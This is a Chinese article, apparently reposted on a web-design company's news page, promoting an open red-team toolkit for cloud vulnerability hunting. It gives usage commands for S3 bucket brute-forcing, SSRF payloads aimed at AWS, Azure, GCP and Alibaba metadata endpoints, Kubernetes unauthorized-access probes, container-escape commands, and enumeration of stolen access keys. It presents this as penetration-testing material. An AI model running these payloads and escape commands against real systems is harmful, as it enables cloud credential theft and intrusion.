尧图网站建设 尧图网络
  • 首页
  • 关于我们
  • 服务项目
  • 案例展示
  • 建站流程
  • 资讯中心
  • 联系我们
首页/资讯中心/详情

云安全漏洞挖掘SKILL、一站式云漏洞挖掘工具,支持S3爆破、IMDS探测、K8s检测与AK/SK权限利用

云安全漏洞挖掘SKILL、一站式云漏洞挖掘工具,支持S3爆破、IMDS探测、K8s检测与AK/SK权限利用
📅 发布时间:2026/7/29 14:34:02

0x01 工具介绍

cloud-vuln-skill 是一款轻量化、开源的云安全漏洞挖掘工具集,专为红队渗透与合规安全测试打造。工具无需复杂部署,可自动化完成S3存储桶爆破、云IMDS元数据探测、K8s未授权检测、容器逃逸风险筛查等核心操作。同时支持AK/SK凭据验证、权限枚举与提权路径分析,全程遵循只读探测原则,无破坏性操作,高效覆盖主流公有云漏洞攻击面,适配日常云资产风险巡检与实战攻防演练。

注意:现在只对常读和星标的才展示大图推送,建议大家把渗透安全HackTwo"设为星标⭐️"否则可能就看不到了啦!

下载地址在末尾 #渗透安全HackTwo

0x02 功能介绍

✨核心特点

brute-s3— S3 桶名爆破

python scripts/cloud_scanner.py brute-s3 --keyword <关键词> [--threads 20] [--delay 0.1] [--format table|json]

将关键词与 70+ 常见后缀(-prod、-dev、-backup、-terraform、-secrets等)拼接,向 AWS 全球端点和区域端点并发 HTTP HEAD 请求。

状态码含义
200公开桶(可列目录)
403存在但非公开
404/DNS 失败不存在

参数:

  • --keyword:公司名/关键词(必填)

  • --threads:并发线程数(默认 15)

  • --delay:请求间隔秒数(默认 0.05,增大可避免云端限流)

  • --format:json(默认)或table

check-bucket— 单桶公开状态检查

    python scripts/cloud_scanner.py check-bucket --name <桶名> [--region us-east-1]

    三项检测:

    • 公开可列— GET 桶根路径,200 且响应含<Key>即为可列目录

    • 公开可写— PUT 测试文件,200 即为可写(测试后自动清理)

    • 公开可读— HEAD 常见文件名

    scan-bucket— 公开桶敏感文件扫描

    python scripts/cloud_scanner.py scan-bucket --url <桶URL> [--max-files 100] [--threads 10]

    两级匹配机制:

    第一级(文件名匹配)— 13 类敏感文件,不需要下载:.env、terraform.tfstate、credentials、id_rsa、*.sql、*.dump、config.yml、secret.yaml、Dockerfile、.git/config、*.pem、*.zip、.bash_history

    第二级(内容关键词)— 仅下载 ≤10KB 的文件头部搜索:AKIA、ASIA、BEGIN RSA PRIVATE KEY、DB_PASSWORD=、AWS_ACCESS_KEY_ID=、connectionString、Bearer、CREATE TABLE

    桶不可列时自动切换爆破模式,用 30 个常见文件名逐个探测。

    probe-ssrf— SSRF → IMDS 凭证窃取探测

    python scripts/cloud_scanner.py probe-ssrf --target <URL> --param <参数名>

    向目标 URL 的参数注入云元数据服务地址,检测响应中是否含云凭证关键词。

    注入的 Payload:

    #Payload目标
    1http://169.254.169.254/latest/meta-data/AWS IMDSv1
    2http://169.254.169.254/latest/meta-data/iam/security-credentials/AWS IAM Role 名
    3http://169.254.169.254/metadata/instance?api-version=2021-02-01Azure IMDS
    4http://metadata.google.internal/computeMetadata/v1/GCP
    5http://100.100.100.200/latest/meta-data/阿里云
    6http://[::ffff:a9fe:a9fe]/latest/meta-data/AWS IPv6 映射绕过

    probe-k8s— K8s 未授权访问探测

    python scripts/cloud_scanner.py probe-k8s --node <IP>

    扫描 7 个高危端口:

    端口服务探测路径
    6443K8s API (TLS)/api/v1/pods/api/v1/secrets/version
    8080K8s API (Plain)同上
    10250Kubelet/pods/runningpods/
    10255Kubelet RO/pods
    2379etcd/version/v2/keys
    4194cAdvisor/containers
    10256kube-proxy/healthz

    container-escape— 容器逃逸条件检测

    # 在容器/Pod 内运行python scripts/cloud_scanner.py container-escape

    11 项自动检测:

    检测危险度逃逸方法
    /var/run/docker.sock挂载🔴docker run -v /:/host alpine chroot /host
    Privileged 模式🔴nsenter --target 1 --mount --pid -- bash
    CAP_SYS_ADMIN🔴cgroup release_agent 逃逸
    CAP_SYS_PTRACE🔴宿主机进程注入
    hostPID🔴nsenter -t 1
    hostPath 挂载🔴直接读写宿主机文件
    K8s SA Token🟠调 API Server 操作资源
    IMDS 可达🟠获取云 IAM 凭证
    Containerd Socket🟠ctr 命令控制容器

    仅检测不利用,不会尝试实际逃逸。

    exploit-creds— AK/SK 验证与权限枚举

    python scripts/cloud_scanner.py exploit-creds --ak <AccessKey> --sk <SecretKey> [--token <SessionToken>] [-o result.json]

    一条命令完成五步:

    1. 身份验证—sts:GetCallerIdentity→ Account ID、ARN

    2. IAM 信息收集— 附加策略、Inline Policy、所属组、MFA 状态

    3. 高危权限探测—真实验证23 个 API(读操作直接调用,写操作使用安全假参数/DryRun 探测,不产生副作用)

    4. 提权路径分析— 匹配 10 种危险权限组合

    5. S3 桶枚举— 列出桶 + 检查 Block Public Access + 加密状态

    高危权限探测覆盖:

    类别探测命令验证方式
    直接提权iam:CreatePolicyVersion假策略 ARN 探测
    直接提权iam:AttachUserPolicy不存在的用户名探测
    后门iam:CreateUser+iam:CreateAccessKey不存在用户名探测
    EC2ec2:RunInstancesDryRun 模式(安全)
    Lambdalambda:UpdateFunctionCode不存在函数名 + 空 zip
    S3s3:PutBucketPolicy不存在桶名探测
    反取证cloudtrail:StopLogging直接调用(会失败但不产生效果)

    0x03 更新介绍

    增加其他厂商存储桶利用

    0x04 使用介绍

    📦安装与使用指南​​​​​​​

    cd cloud-vuln-skillpip install -r requirements.txt
    ​​​​​ # === 信息收集(无需云凭证)=== # S3 桶名爆破 python scripts/cloud_scanner.py brute-s3 --keyword company-name # 单桶公开状态检查 python scripts/cloud_scanner.py check-bucket --name company-prod # 公开桶敏感文件扫描 python scripts/cloud_scanner.py scan-bucket --url https://bucket-name.s3.amazonaws.com # SSRF → IMDS 凭证窃取探测 python scripts/cloud_scanner.py probe-ssrf --target https://target.com/api --param url # K8s 节点未授权访问探测 python scripts/cloud_scanner.py probe-k8s --node 10.0.0.1 # 容器逃逸条件检测(在容器/Pod 内运行) python scripts/cloud_scanner.py container-escape # === 凭据利用(拿到 AK/SK 后)=== python scripts/cloud_scanner.py exploit-creds --ak AKIAXXXXXX --sk xxxxxxxxxxxx

    0x05 下载

    《渗透安全HackTwo》回复20260728获取下载

    相关新闻

    • 隐形冠军:深耕细分赛道,铸就产业中坚力量
    • 基于MATLAB的产消者微电网分布式优化与博弈论应用
    • 3步掌握PalEdit:PalWorld最强存档编辑工具终极指南

    最新新闻

    • Linux系统多版本Python源码编译安装与隔离管理实践指南
    • 2026辽阳瓷砖空鼓怎么处理?地砖墙砖松动微创注浆修复方案|本地家装修缮科普 - 宅安选房屋修缮
    • 终极指南:用Whisky在macOS上轻松运行Windows程序
    • Web安全实战:文件上传漏洞攻防全解析与防御体系构建
    • 背单词方法全流程教程:8个步骤高效掌握,新手也能零失误
    • C++新手入门实战:从零构建随机单词生成器项目

    日新闻

    • 金融舆情监测系统:多语言情感分析与实时可视化技术解析
    • QT C++调用Python异常处理:PyBind11实战与跨语言编程指南
    • A-47双麦回音消除模块:主次麦空间分布与差分连接对ENC性能的影响

    周新闻

    • 大连理工大学与东京大学联手打造的“主动型AI助手“
    • 170.2026年国家级科研瓶颈:超精密单点金刚石切削(SPDT)光学表面生成
    • SongBloom:革命性歌曲生成框架深度解析——如何通过交织自回归与扩散模型创作完整音乐

    月新闻

    • 2026年6月公司网站搭建最新热门渠道测评:四大低成本/零代码平台对比+避坑
    • 【Linux】Linux arm 编译QT程序,出现expected “}“报错
    • 【MATLAB例程】四基站二维AOA定位与距离辅助增强对比仿真。基于角度观测和测距修正的固定目标平面定位精度分析

    关于尧图

    • 公司简介
    • 团队介绍
    • 企业文化
    • 荣誉资质

    服务项目

    • 定制开发
    • 电商建站
    • UI 设计
    • 运维服务

    快速链接

    • 案例展示
    • 建站流程
    • 常见问题
    • 资讯中心

    联系方式

    • 📍北京市朝阳区互联网产业园 A 座 10 层
    • 📞400-888-8888
    • ✉️contact@rkmt.cn
    • 🕐周一至周日 9:00-21:00

    © 2024 北京尧图网络科技有限公司 版权所有 | 京 ICP 备 XXXXXXXX 号